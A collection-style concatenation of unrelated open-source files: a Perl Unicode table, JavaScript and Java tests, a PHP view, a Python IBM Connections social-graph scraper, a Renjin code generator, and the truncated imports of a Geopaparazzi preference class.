# !!!!!!! DO NOT EDIT THIS FILE !!!!!!!
# This file is machine-generated by lib/unicore/mktables from the Unicode
# database, Version 5.2.0. Any changes made here will be lost!
# !!!!!!! INTERNAL PERL USE ONLY !!!!!!!
# This file is for internal use by the Perl program only. The format and even
# the name or existence of this file are subject to change without notice.
# Don't use it directly.
# This file returns the single code point in Unicode Version 5.2.0 that
# matches any of the following regular expression constructs:
#
# \p{Canonical_Combining_Class=21}
# \p{Ccc=21}
# \p{Is_Canonical_Combining_Class=21}
# \p{Is_Ccc=21}
#
# perluniprops.pod should be consulted for the syntax rules for any of these,
# including if adding or subtracting white space, underscore, and hyphen
# characters matters or doesn't matter, and other permissible syntactic
# variants. Upper/lower case distinctions never matter.
#
# A colon can be substituted for the equals sign, and anything to the left of
# the equals (or colon) can be combined with anything to the right. Thus,
# for example,
# \p{Is_Ccc: 21}
# is also valid.
#
# The format of the lines of this file is: START\tSTOP\twhere START is the
# starting code point of the range, in hex; STOP is the ending point, or if
# omitted, the range has just one code point. Numbers in comments in
# [brackets] indicate how many code points are in the range.
return <<'END';
05BC
END
| Alberto-Beralix/Beralix | i386-squashfs-root/usr/share/perl/5.12.4/unicore/lib/Ccc/21.pl | Perl | gpl-3.0 | 1,488 |
define(['Scripts/App/CommentsScraper'], function(CommentsScraper) {
describe('myFilter', function() {
var failTest = function(error) {
expect(error).toBeUndefined();
};
beforeEach(function(){
jasmine.addMatchers({
toBeEqualComment: function() {
return {
compare: function (actual, expected) {
return {
pass: actual.author === expected.author && actual.commentType === expected.commentType
&& actual.link === expected.link && actual.x === expected.x && actual.y === expected.y
};
}
};
}
});
jasmine.getFixtures().fixturesPath = 'base/Tests/Fixtures/';
loadFixtures('sampleComments.html');
});
it('should give correct comment object when given correct comment html', function () {
var expected = {
author: 'Vaniver',
commentType: 'Parent',
link: 'http://lesswrong.com/lw/n93/open_thread_feb_01_feb_07_2016/d2us',
x: 1454336014000,
y: 2
};
//var employee = CommentsScraper.getCommentObj($('.comment')[0].outerHTML);
//expect(employee.author).toBeEqualComment('ScottL');
});
// Our first test!!!!
it('about greeting says "This is the about message2!"', function () {
//console.log(CommentsScraper);
//CommentsScraper.getCommentData($('.comment')[0].outerHTML).then(function(data) {
// console.log(data);
//});
});
});
}); | srlee309/LessWrongKarma | Tests/Spec/testSpec.js | JavaScript | gpl-3.0 | 1,556 |
<!-- <div class="jumbotron">
<h1>Welcome!</h1>
<?php echo $content->getHtml(); ?>
</div> -->
<div class="row" style="padding: 15px;">
<?php
$bgcolors = array('blue','green','orange','grey');
$i=0;
foreach($content->children as $child){
$mod = $i % count($bgcolors);
$color = $bgcolors[$mod];
echo '<div class="col-md-4 tile '.$color.'">';
echo '<a href="'.$child->getUrl().'">'.$child->title.'</a>';
echo '<p>'.$child->shortText.'</p>';
echo '</div>';
$i++;
}
?>
</div>
| deependhulla/powermail-debian9 | files/rootdir/usr/local/src/groupoffice-6.3/modules/manualsite/views/site/manualsite/home.php | PHP | gpl-3.0 | 514 |
package cz.cuni.lf1.lge.ThunderSTORM.estimators;
import cz.cuni.lf1.lge.ThunderSTORM.detectors.CentroidOfConnectedComponentsDetector;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.EllipticGaussianPSF;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.EllipticGaussianWAnglePSF;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.Molecule;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.SymmetricGaussianPSF;
import cz.cuni.lf1.lge.ThunderSTORM.filters.CompoundWaveletFilter;
import cz.cuni.lf1.lge.ThunderSTORM.FormulaParser.FormulaParserException;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.IntegratedSymmetricGaussianPSF;
import cz.cuni.lf1.lge.ThunderSTORM.estimators.PSF.PSFModel.Params;
import cz.cuni.lf1.lge.ThunderSTORM.util.CSV;
import static cz.cuni.lf1.lge.ThunderSTORM.util.MathProxy.sqr;
import cz.cuni.lf1.lge.ThunderSTORM.util.Point;
import ij.IJ;
import ij.process.FloatProcessor;
import java.util.List;
import java.util.Vector;
import org.junit.Test;
import static org.junit.Assert.*;
public class EstimatorsTest {
@Test
public void testRadialSymmetry() {
testEstimator(new MultipleLocationsImageFitting(5, new RadialSymmetryFitter()));
}
@Test
public void testLSQSym() {
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new SymmetricGaussianPSF(1), false, Params.BACKGROUND)));
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new SymmetricGaussianPSF(1), true, Params.BACKGROUND)));
}
@Test
public void testLSQIntSym() {
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new IntegratedSymmetricGaussianPSF(1), false, Params.BACKGROUND)));
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new IntegratedSymmetricGaussianPSF(1), true, Params.BACKGROUND)));
}
@Test
public void testMLEIntSym() {
testEstimator(new MultipleLocationsImageFitting(5, new MLEFitter(new IntegratedSymmetricGaussianPSF(1), Params.BACKGROUND)));
}
@Test
public void testMLESym() {
testEstimator(new MultipleLocationsImageFitting(5, new MLEFitter(new SymmetricGaussianPSF(1), Params.BACKGROUND)));
}
@Test
public void testLSQEllipticAngle() {
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new EllipticGaussianWAnglePSF(1, 0), false, Params.BACKGROUND)));
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new EllipticGaussianWAnglePSF(1, 0), true, Params.BACKGROUND)));
}
@Test
public void testMLEEllipticAngle() {
testEstimator(new MultipleLocationsImageFitting(5, new MLEFitter(new EllipticGaussianWAnglePSF(1, 0), Params.BACKGROUND)));
}
@Test
public void testLSQElliptic() {
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new EllipticGaussianPSF(1, 45), false, Params.BACKGROUND)));
testEstimator(new MultipleLocationsImageFitting(5, new LSQFitter(new EllipticGaussianPSF(1, 45), true, Params.BACKGROUND)));
}
@Test
public void testMLEElliptic() {
testEstimator(new MultipleLocationsImageFitting(5, new MLEFitter(new EllipticGaussianPSF(1, 45), Params.BACKGROUND)));
}
private void testEstimator(IEstimator estimator) throws FormulaParserException {
String basePath = this.getClass().getProtectionDomain().getCodeSource().getLocation().getPath();
FloatProcessor image = (FloatProcessor) IJ.openImage(basePath + "tubulins1_00020.tif").getProcessor().convertToFloat();
FloatProcessor filtered = (new CompoundWaveletFilter()).filterImage(image);
Vector<Point> detections = (new CentroidOfConnectedComponentsDetector("16", true)).detectMoleculeCandidates(filtered);
List<Molecule> fits = estimator.estimateParameters(image, detections);
for(Molecule fit : fits) {
convertXYToNanoMeters(fit, 150.0);
}
Vector<Molecule> ground_truth = null;
try {
ground_truth = CSV.csv2psf(basePath + "tubulins1_00020.csv", 1, 2);
} catch(Exception ex) {
fail(ex.getMessage());
}
Vector<Pair> pairs = pairFitsAndDetections2GroundTruths(detections, fits, ground_truth);
for(Pair pair : pairs) {
assertFalse("Result from the estimator should be better than guess from the detector.", dist2(pair.fit, pair.ground_truth) > dist2(pair.detection, pair.ground_truth));
}
//
// Note: better test would be to compare these results to the results from Matlab...but I don't have them at the moment
//
}
static void convertXYToNanoMeters(Molecule fit, double px2nm) {
fit.setX(fit.getX() * px2nm);
fit.setY(fit.getY() * px2nm);
}
static class Pair {
Point detection;
Molecule fit;
Molecule ground_truth;
public Pair(Point detection, Molecule fit, Molecule ground_truth) {
this.detection = detection;
this.fit = fit;
this.ground_truth = ground_truth;
}
}
static Vector<Pair> pairFitsAndDetections2GroundTruths(Vector<Point> detections, List<Molecule> fits, Vector<Molecule> ground_truth) {
assertNotNull(fits);
assertNotNull(detections);
assertNotNull(ground_truth);
assertFalse(fits.isEmpty());
assertFalse(detections.isEmpty());
assertFalse(ground_truth.isEmpty());
assertEquals("Number of detections should be the same as number of fits!", detections.size(), fits.size());
Vector<Pair> pairs = new Vector<Pair>();
int best_fit;
double best_dist2, dist2;
for(int i = 0, im = fits.size(); i < im; i++) {
best_fit = 0;
best_dist2 = dist2(fits.get(i), ground_truth.elementAt(best_fit));
for(int j = 1, jm = ground_truth.size(); j < jm; j++) {
dist2 = dist2(fits.get(i), ground_truth.elementAt(j));
if(dist2 < best_dist2) {
best_dist2 = dist2;
best_fit = j;
}
}
pairs.add(new Pair(detections.elementAt(i), fits.get(i), ground_truth.elementAt(best_fit)));
}
return pairs;
}
static double dist2(Point detection, Molecule ground_truth) {
return sqr(detection.x.doubleValue() - ground_truth.getX()) + sqr(detection.y.doubleValue() - ground_truth.getY());
}
static double dist2(Molecule fit, Molecule ground_truth) {
return sqr(fit.getX() - ground_truth.getY()) + sqr(fit.getX() - ground_truth.getY());
}
}
| imunro/thunderstorm | src/test/java/cz/cuni/lf1/lge/ThunderSTORM/estimators/EstimatorsTest.java | Java | gpl-3.0 | 6,620 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# dépendances
import requests
import xml.dom.minidom
import sys
import signal
import os
import getopt
from queue import Queue
from threading import Thread
import time
class SetQueue(Queue):
def _init(self, maxsize):
Queue._init(self, maxsize)
self.all_items = set()
def _put(self, item):
if item not in self.all_items:
Queue._put(self, item)
self.all_items.add(item)
def signal_handler(signal, frame):
print('You pressed Ctrl+C!')
sys.exit(0)
def usage():
"""usage de la ligne de commande"""
print ("usage : " + sys.argv[0] + "-h --help -s --server someurl.com -u --user login -p --password password")
def getAtomFeed(url, login, pwd):
# var
MAX_TRY = 10
essai = 0
# get atom document
while essai < MAX_TRY:
try:
r = requests.get('http://' + url, auth=(login,pwd), timeout=10)
except:
essai += 1
continue
break
else:
raise ('Erreur lors de la requête')
# parse atom document
try:
dom = xml.dom.minidom.parseString(r.text)
except:
raise ('Erreur lors du parsing du document Atom')
return dom
def getManagerInfo(atomFeed):
try:
entries = atomFeed.getElementsByTagName('entry')[1]
except:
return None
try:
managerId = entries.getElementsByTagName('snx:userid')[0]
return managerId.firstChild.data
except:
return None
def buildUrlSearchList(server, login, pwd, q):
# var
alphabet = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z']
#alphabet = ['a']
for i in alphabet:
url = server + '/profiles/atom/search.do?search=' + i + '*&ps=250'
dom = getAtomFeed(url, login, pwd)
totalResult = dom.getElementsByTagName('opensearch:totalResults')[0]
totalResult = int(totalResult.firstChild.data)
if totalResult > 250:
nbPage = int(float(totalResult) / 250) + 1
for n in range(1,nbPage,1):
item = url + "&page=" + str(n)
q.put(item)
else:
nbPage = 1
q.put(url)
def getUserIdsWorker(login, pwd, qin, qout):
while True:
url = qin.get()
if url == None:
break
qin.task_done()
try:
dom = getAtomFeed(url, login, pwd)
except:
continue
userIds = dom.getElementsByTagName('snx:userid')
for index, item, in enumerate(userIds):
qout.put(item.firstChild.data)
def getRelationsWorker(server, login, pwd, qin, qout, getManager, qmgmt):
while True:
userid = qin.get()
if userid == None:
break
qin.task_done()
url = server + '/profiles/atom/connections.do?userid=' + userid + '&connectionType=colleague&ps=250'
try:
dom = getAtomFeed(url, login, pwd)
except:
continue
feed = dom.firstChild
entries = feed.getElementsByTagName('entry')
for entry in entries:
# get date
dateRelation = entry.getElementsByTagName('updated')[0]
dateRelation = dateRelation.firstChild.data
dateRelation = dateRelation[:10]
# get author user id
author = entry.getElementsByTagName('author')[0]
try:
authorName = author.getElementsByTagName('name')[0]
authorName = authorName.firstChild.data
except:
authorName = ""
try:
authorEMail = author.getElementsByTagName('email')[0]
authorEMail = authorEMail.firstChild.data
except:
authorEMail = ""
authorUserId = author.getElementsByTagName('snx:userid')[0]
authorUserId = authorUserId.firstChild.data
# get contributor user id
contributor = entry.getElementsByTagName('contributor')[0]
try:
contribName = contributor.getElementsByTagName('name')[0]
contribName = contribName.firstChild.data
except:
contribName = ""
try:
contribEMail = contributor.getElementsByTagName('email')[0]
contribEMail = contribEMail.firstChild.data
except:
contribEMail = ""
contribUserId = contributor.getElementsByTagName('snx:userid')[0]
contribUserId = contribUserId.firstChild.data
# build dict
authorInfo = { "userid" : authorUserId, "name" : authorName, "email" : authorEMail }
contribInfo = { "userid" : contribUserId, "name" : contribName, "email" : contribEMail }
relation = "\"" + authorUserId + "\",\"" + contribUserId + "\",\"<(" + str(dateRelation) + ",Infinity)>\""
qout.put(authorInfo)
qout.put(contribInfo)
qout.put(relation)
# get manager
if getManager == True:
url = server + "/profiles/atom/reportingChain.do?userid=" + userid
rc = getAtomFeed(url, login, pwd)
managerId = getManagerInfo(rc)
if managerId is not None:
reportingChain = str(userid) + "," + str(managerId)
qmgmt.put(reportingChain)
def printStatusThread(q0, q1, q2, q3):
strtime = time.time()
while True:
sys.stdout.write('\r\x1b[K')
sys.stdout.write("urls:" + str(q0.qsize()) + " | ")
sys.stdout.write("userids:" + str(q1.qsize()) + " | ")
sys.stdout.write("user infos:" + str(q2.qsize()) + " | ")
sys.stdout.write("manager infos:" + str(q3.qsize()))
sys.stdout.flush()
time.sleep(1)
def writeFileThread(usersFilename, relationsFilename, qin):
# file for user details
u = open(usersFilename + ".csv", "w")
u.write("Id,Label,eMail\n")
# file for relations
r = open(relationsFilename + ".csv", "w")
r.write("Source,Target,Time Interval\n")
doneUsers = []
while True:
data = qin.get()
if data == None:
u.flush()
r.flush()
u.close()
r.close()
break
# write data
if type(data) is dict:
string = str(data["userid"]) + ',' + str(data["name"]) + ',' + str(data["email"])
if string not in doneUsers:
u.write(string + "\n")
doneUsers.append(string)
elif type(data) is str:
r.write(str(data) + "\n")
qin.task_done()
def writeManagerFileThread(managerFilename, qin):
m = open(managerFilename + ".csv", "w")
m.write("Source,Target\n")
while True:
data = qin.get()
if data == None:
break
m.write(str(data) + "\n")
qin.task_done()
def main(argv):
# global
serverUrl = ""
login = ""
pwd = ""
getManager = False
urlQueue = SetQueue(maxsize=5000)
userIdsQueue = SetQueue(maxsize=5000)
userInfosQueue = Queue(maxsize=5000)
userManagerQueue = Queue(maxsize=5000)
# signal handler
signal.signal(signal.SIGINT, signal_handler)
# retrive arguments
try:
opts, args = getopt.getopt(argv, "hs:u:p:m", ["help", "server=", "user=", "password=", "manager"])
for opt, arg in opts:
if opt in ("-h", "--help"):
usage()
sys.exit()
elif opt in ("-s", "--server"):
serverUrl = arg
elif opt in ("-u", "--user"):
login = arg
elif opt in ("-p", "--password"):
pwd = arg
elif opt in ("-m", "--manager"):
getManager = True
except:
usage()
sys.exit()
# threading get userinfo worker
userIdWorker = []
for i in range(10):
w1 = Thread(target=getUserIdsWorker, args=(login, pwd, urlQueue, userIdsQueue,))
w1.setDaemon(True)
w1.start()
userIdWorker.append(w1)
# threading get relations worker
userInfoWorker = []
for i in range(20):
w2 = Thread(target=getRelationsWorker, args=(serverUrl, login, pwd, userIdsQueue, userInfosQueue, getManager, userManagerQueue,))
w2.setDaemon(True)
w2.start()
userInfoWorker.append(w2)
# thread to print size of queue
w3 = Thread(target=printStatusThread, args=(urlQueue, userIdsQueue, userInfosQueue, userManagerQueue,))
w3.setDaemon(True)
w3.start()
# thread to write files
w4 = Thread(target=writeFileThread, args=("users", "relations", userInfosQueue,))
w4.setDaemon(True)
w4.start()
if getManager == True:
w5 = Thread(target=writeManagerFileThread, args=("manager", userManagerQueue,))
w5.setDaemon(True)
w5.start()
# build Queue url list
MAX_TRY = 10
essai = 0
while essai < MAX_TRY:
try:
buildUrlSearchList(serverUrl, login, pwd, urlQueue)
except KeyboardInterrupt:
break
except:
essai += 1
continue
break
while not (urlQueue.empty() and userIdsQueue.empty() and userInfosQueue.empty()):
pass
print ("end threads")
urlQueue.put(None)
userIdsQueue.put(None)
userInfosQueue.put(None)
# end of workers
for i in userIdWorker:
i.join()
for i in userInfoWorker:
i.join()
time.sleep(5)
sys.exit(0)
if __name__ == '__main__':
main(sys.argv[1:])
| adalmieres/scriptsIBMConnections | IBMConnectionsSocialGraph.py | Python | gpl-3.0 | 8,111 |
package org.renjin.invoke.codegen;
import com.google.common.collect.Lists;
import com.sun.codemodel.*;
import org.apache.commons.math.complex.Complex;
import org.renjin.invoke.annotations.PreserveAttributeStyle;
import org.renjin.invoke.model.JvmMethod;
import org.renjin.invoke.model.PrimitiveModel;
import org.renjin.primitives.vector.DeferredComputation;
import org.renjin.sexp.*;
import java.util.List;
import static com.sun.codemodel.JExpr.lit;
public class DeferredVectorBuilder {
public static final int LENGTH_THRESHOLD = 100;
private final JExpression contextArgument;
private JCodeModel codeModel;
private PrimitiveModel primitive;
private JvmMethod overload;
private int arity;
private JDefinedClass vectorClass;
private VectorType type;
private List<DeferredArgument> arguments = Lists.newArrayList();
private JFieldVar lengthField;
public DeferredVectorBuilder(JCodeModel codeModel, JExpression contextArgument, PrimitiveModel primitive, JvmMethod overload) {
this.codeModel = codeModel;
this.primitive = primitive;
this.overload = overload;
this.arity = overload.getPositionalFormals().size();
this.contextArgument = contextArgument;
if(overload.getReturnType().equals(double.class)) {
type = VectorType.DOUBLE;
} else if(overload.getReturnType().equals(boolean.class)) {
type = VectorType.LOGICAL;
} else if(overload.getReturnType().equals(Logical.class)) {
type = VectorType.LOGICAL;
} else if(overload.getReturnType().equals(int.class)) {
type = VectorType.INTEGER;
} else if(overload.getReturnType().equals(Complex.class)) {
type = VectorType.COMPLEX;
} else if(overload.getReturnType().equals(byte.class)) {
type = VectorType.RAW;
} else {
throw new UnsupportedOperationException(overload.getReturnType().toString());
}
}
public void buildClass() {
try {
vectorClass = codeModel._class( WrapperGenerator2.toFullJavaName(primitive.getName()) + "$deferred_" + typeSuffix() );
} catch (JClassAlreadyExistsException e) {
throw new RuntimeException(e);
}
vectorClass._extends(type.baseClass);
vectorClass._implements(DeferredComputation.class);
for(int i=0;i!=arity;++i) {
arguments.add(new DeferredArgument(overload.getPositionalFormals().get(i), i));
}
this.lengthField = vectorClass.field(JMod.PRIVATE, codeModel._ref(int.class), "length");
writeConstructor();
implementAccessor();
implementLength();
implementAttributeSetter();
implementGetOperands();
implementGetComputationName();
implementStaticApply();
implementIsConstantAccess();
implementGetComputationDepth();
if(overload.isPassNA() && overload.getReturnType().equals(boolean.class)) {
overrideIsNaWithConstantValue();
}
}
private void implementIsConstantAccess() {
JMethod method = vectorClass.method(JMod.PUBLIC, boolean.class, "isConstantAccessTime");
JExpression condition = null;
for(DeferredArgument arg : arguments) {
JExpression operandIsConstant = arg.valueField.invoke("isConstantAccessTime");
if(condition == null) {
condition = operandIsConstant;
} else {
condition = condition.cand(operandIsConstant);
}
}
method.body()._return(condition);
}
private void implementGetComputationDepth() {
JMethod method = vectorClass.method(JMod.PUBLIC, int.class, "getComputationDepth");
JVar depth = method.body().decl(codeModel._ref(int.class), "depth",
arguments.get(0).valueField.invoke("getComputationDepth"));
for(int i=1;i<arguments.size();++i) {
method.body().assign(depth, codeModel.ref(Math.class).staticInvoke("max")
.arg(depth)
.arg(arguments.get(1).valueField.invoke("getComputationDepth")));
}
method.body()._return(depth.plus(JExpr.lit(1)));
}
private void implementGetOperands() {
JMethod method = vectorClass.method(JMod.PUBLIC, Vector[].class, "getOperands");
JArray array = JExpr.newArray(codeModel.ref(Vector.class));
for(DeferredArgument arg : arguments) {
array.add(arg.valueField);
}
method.body()._return(array);
}
private void implementGetComputationName() {
JMethod method = vectorClass.method(JMod.PUBLIC, String.class, "getComputationName");
method.body()._return(lit(primitive.getName()));
}
private String typeSuffix() {
StringBuilder suffix = new StringBuilder();
for(JvmMethod.Argument formal : overload.getPositionalFormals()) {
suffix.append(abbrev(formal.getClazz()));
}
return suffix.toString();
}
private String abbrev(Class clazz) {
if(clazz.equals(double.class)) {
return "d";
} else if(clazz.equals(boolean.class)) {
return "b";
} else if(clazz.equals(String.class)) {
return "s";
} else if(clazz.equals(int.class)) {
return "i";
} else if(clazz.equals(Complex.class)) {
return "z";
} else if(clazz.equals(byte.class)) {
return "r";
} else {
throw new UnsupportedOperationException(clazz.toString());
}
}
public void maybeReturn(JBlock parent, JExpression cycleCount, List<JExpression> arguments) {
JExpression condition = cycleCount.gt(lit(LENGTH_THRESHOLD));
for(JExpression arg : arguments) {
condition = condition.cor(arg._instanceof(codeModel.ref(DeferredComputation.class)));
}
JBlock ifBig = parent._if(condition)._then();
JExpression attributes = copyAttributes(arguments);
JInvocation newInvocation = JExpr._new(vectorClass);
for(JExpression arg : arguments) {
newInvocation.arg(arg);
}
newInvocation.arg(attributes);
ifBig._return(contextArgument.invoke("simplify").arg(newInvocation));
}
private JExpression copyAttributes(List<JExpression> arguments) {
if(overload.getPreserveAttributesStyle() == PreserveAttributeStyle.NONE) {
return codeModel.ref(AttributeMap.class).staticRef("EMPTY");
} else {
if(arity == 1) {
return copyAttributes(arguments.get(0));
} else if(arity == 2) {
return copyAttributes(arguments.get(0), arguments.get(1));
} else {
throw new UnsupportedOperationException("arity = " + arity);
}
}
}
private JExpression copyAttributes(JExpression arg0, JExpression arg1) {
String combineMethod;
switch(overload.getPreserveAttributesStyle()) {
case ALL:
combineMethod = "combineAttributes";
break;
case SPECIAL:
combineMethod = "combineStructuralAttributes";
break;
default:
throw new UnsupportedOperationException();
}
return codeModel.ref(AttributeMap.class).staticInvoke(combineMethod)
.arg(arg0)
.arg(arg1);
}
private JExpression copyAttributes(JExpression arg) {
if(overload.getPreserveAttributesStyle() == PreserveAttributeStyle.ALL) {
return arg.invoke("getAttributes");
} else if(overload.getPreserveAttributesStyle() == PreserveAttributeStyle.SPECIAL) {
return arg.invoke("getAttributes").invoke("copyStructural");
} else {
throw new UnsupportedOperationException();
}
}
private void writeConstructor() {
// public DoubleBinaryFnVector(Vector arg0, Vector arg1, AttributeMap attributes) {
// super(attributes);
// this.x = x;
// this.y = y;
// this.fn = fn;
// this.xLength = x.length();
// this.yLength = y.length();
// this.length = Math.max(xLength, yLength);
// }
JMethod ctor = vectorClass.constructor(JMod.PUBLIC);
List<JVar> argParams = Lists.newArrayList();
for(int i=0;i!=arity;++i) {
argParams.add(ctor.param(Vector.class, "arg" + i));
}
ctor.param(AttributeMap.class, "attributes");
ctor.body().directStatement("super(attributes);");
ctor.body().assign(lengthField, lit(0));
for(int i=0;i!=arity;++i) {
ctor.body().assign(JExpr._this().ref(arg(i).valueField), argParams.get(i));
ctor.body().assign(arg(i).lengthField, arg(i).valueField.invoke("length"));
}
if(arity == 1) {
ctor.body().assign(lengthField, arg(0).lengthField);
} else if(arity == 2) {
ctor.body().assign(lengthField, codeModel.ref(Math.class).staticInvoke("max")
.arg(arg(0).lengthField)
.arg(arg(1).lengthField));
}
}
private DeferredArgument arg(int i) {
return arguments.get(i);
}
private void implementLength() {
JMethod method = vectorClass.method(JMod.PUBLIC, int.class, "length");
method.body()._return(lengthField);
}
private void implementStaticApply() {
JMethod method = vectorClass.method(JMod.PUBLIC | JMod.STATIC, type.accessorType, "compute");
List<JExpression> params = Lists.newArrayList();
for(DeferredArgument argument : arguments) {
JVar param = method.param(argument.accessorType(), "p" + argument.index);
params.add(argument.convert(param));
}
returnValue(method.body(), buildInvocation(params));
}
private void implementAccessor() {
JMethod method = vectorClass.method(JMod.PUBLIC, type.accessorType, type.accessorName);
JVar index = method.param(int.class, "index");
// extract the arguments to the function from the given vectors
List<JExpression> argValues = Lists.newArrayList();
for(DeferredArgument arg : arguments) {
JExpression elementIndex;
if(arity == 1) {
elementIndex = index;
} else {
// avoid using modulus if we can
JVar indexVar = method.body().decl(codeModel._ref(int.class), "i" + arg.index);
JConditional ifLessThan = method.body()._if(index.lt(arg.lengthField));
ifLessThan._then().assign(indexVar, index);
ifLessThan._else().assign(indexVar, index.mod(arg.lengthField));
elementIndex = indexVar;
}
JVar argValue = method.body().decl(arg.accessorType(), "arg" + arg.index + "_i", arg.invokeAccessor(elementIndex));
argValues.add(arg.convert(argValue));
if(!overload.isPassNA() && arg.type != ArgumentType.BYTE) {
method.body()._if(arg.isNA(argValue))._then()._return(na());
}
}
// invoke the underlying function
returnValue(method.body(), buildInvocation(argValues));
}
private JInvocation buildInvocation(List<JExpression> argValues) {
JInvocation invocation = codeModel
.ref(overload.getDeclaringClass())
.staticInvoke(overload.getName());
for(JExpression argValue : argValues) {
invocation.arg(argValue);
}
return invocation;
}
private JExpression na() {
switch (type) {
case DOUBLE:
return codeModel.ref(DoubleVector.class).staticRef("NA");
case LOGICAL:
case INTEGER:
return codeModel.ref(IntVector.class).staticRef("NA");
case COMPLEX:
return codeModel.ref(ComplexArrayVector.class).staticRef("NA");
}
throw new UnsupportedOperationException(type.toString());
}
private void returnValue(JBlock parent, JExpression retVal) {
if(overload.getReturnType().equals(boolean.class)) {
JConditional ifTrue = parent._if(retVal);
ifTrue._then()._return(lit(1));
ifTrue._else()._return(lit(0));
} else if(overload.getReturnType().equals(Logical.class)) {
parent._return(retVal.invoke("getInternalValue"));
} else {
parent._return(retVal);
}
}
public void overrideIsNaWithConstantValue() {
JMethod method = vectorClass.method(JMod.PUBLIC, boolean.class, "isElementNA");
method.param(int.class, "index");
method.body()._return(JExpr.FALSE);
}
private void implementAttributeSetter() {
// @Override
// protected SEXP cloneWithNewAttributes(AttributeMap attributes) {
// return new DoubleBinaryFnVector(fn, x, y, attributes);
// }
JMethod method = vectorClass.method(JMod.PUBLIC, SEXP.class, "cloneWithNewAttributes");
JVar attributes = method.param(AttributeMap.class, "attributes");
JInvocation newInvocation = JExpr._new(vectorClass);
for(DeferredArgument arg : arguments) {
newInvocation.arg(arg.valueField);
}
newInvocation.arg(attributes);
method.body()._return(newInvocation);
}
private class DeferredArgument {
private JvmMethod.Argument model;
private int index;
private JFieldVar valueField;
private JFieldVar lengthField;
private ArgumentType type;
private DeferredArgument(JvmMethod.Argument model, int index) {
this.model = model;
this.index = index;
this.valueField = vectorClass.field(JMod.PRIVATE | JMod.FINAL, Vector.class, "arg" + index);
this.lengthField = vectorClass.field(JMod.PRIVATE | JMod.FINAL, int.class, "argLength" + index);
if(model.getClazz().equals(double.class)) {
this.type = ArgumentType.DOUBLE;
} else if(model.getClazz().equals(boolean.class)) {
this.type = ArgumentType.BOOLEAN;
} else if(model.getClazz().equals(int.class)) {
this.type = ArgumentType.INTEGER;
} else if(model.getClazz().equals(String.class)) {
this.type = ArgumentType.STRING;
} else if(model.getClazz().equals(Complex.class)) {
this.type = ArgumentType.COMPLEX;
} else if(model.getClazz().equals(byte.class)) {
this.type = ArgumentType.BYTE;
} else {
throw new UnsupportedOperationException(model.getClazz().toString());
}
}
public JType type() {
return codeModel._ref(model.getClazz());
}
public JExpression invokeAccessor(JExpression elementIndex) {
return valueField.invoke(type.accessorName).arg(elementIndex);
}
public JType accessorType() {
return codeModel._ref(type.accessorType());
}
public JExpression isNA(JExpression expr) {
return type.isNa(codeModel, expr);
}
public JExpression convert(JExpression argValue) {
return type.convertToArg(argValue);
}
}
private enum VectorType {
DOUBLE(DoubleVector.class, "getElementAsDouble", double.class),
LOGICAL(LogicalVector.class, "getElementAsRawLogical", int.class),
INTEGER(IntVector.class, "getElementAsInt", int.class),
COMPLEX(ComplexVector.class, "getElementAsComplex", Complex.class),
RAW(RawVector.class, "getElementAsByte", byte.class);
private Class baseClass;
private String accessorName;
private Class accessorType;
private VectorType(Class baseClass, String accessorName, Class accessorType) {
this.baseClass = baseClass;
this.accessorName = accessorName;
this.accessorType = accessorType;
}
}
private enum ArgumentType {
DOUBLE(double.class, "getElementAsDouble") {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(DoubleVector.class).staticInvoke("isNA").arg(expr);
}
},
INTEGER(int.class, "getElementAsInt") {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(IntVector.class).staticInvoke("isNA").arg(expr);
}
},
BOOLEAN(boolean.class, "getElementAsRawLogical") {
@Override
public JExpression convertToArg(JExpression expr) {
return expr.ne(lit(0));
}
@Override
public Class accessorType() {
return int.class;
}
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(IntVector.class).staticInvoke("isNA").arg(expr);
}
},
STRING(String.class, "getElementAsString") {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(StringVector.class).staticInvoke("isNA").arg(expr);
}
},
COMPLEX(Complex.class, "getElementAsComplex" ) {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return codeModel.ref(ComplexVector.class).staticInvoke("isNA").arg(expr);
}
}, BYTE(byte.class, "getElementAsByte" ) {
@Override
public JExpression isNa(JCodeModel codeModel, JExpression expr) {
return JExpr.lit(false);
}
};
private Class clazz;
private String accessorName;
private ArgumentType(Class clazz, String accessorName) {
this.clazz = clazz;
this.accessorName = accessorName;
}
public JExpression convertToArg(JExpression expr) {
return expr;
}
public Class accessorType() {
return clazz;
}
public abstract JExpression isNa(JCodeModel codeModel, JExpression expr);
}
}
| hlin09/renjin | core/src/main/java/org/renjin/invoke/codegen/DeferredVectorBuilder.java | Java | gpl-3.0 | 16,612 |
/*
* Geopaparazzi - Digital field mapping on Android based devices
* Copyright (C) 2016 HydroloGIS (www.hydrologis.com)
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
package eu.geopaparazzi.core.preferences;
import android.content.Context;
import android.content.res.TypedArray;
import android.preference.DialogPreference;
import android.util.AttributeSet;
import android.view.View;
import android.view.ViewGroup.LayoutParams;
import android.widget.ArrayAdapter;
import android.widget.LinearLayout;
import android.widget.Spinner;
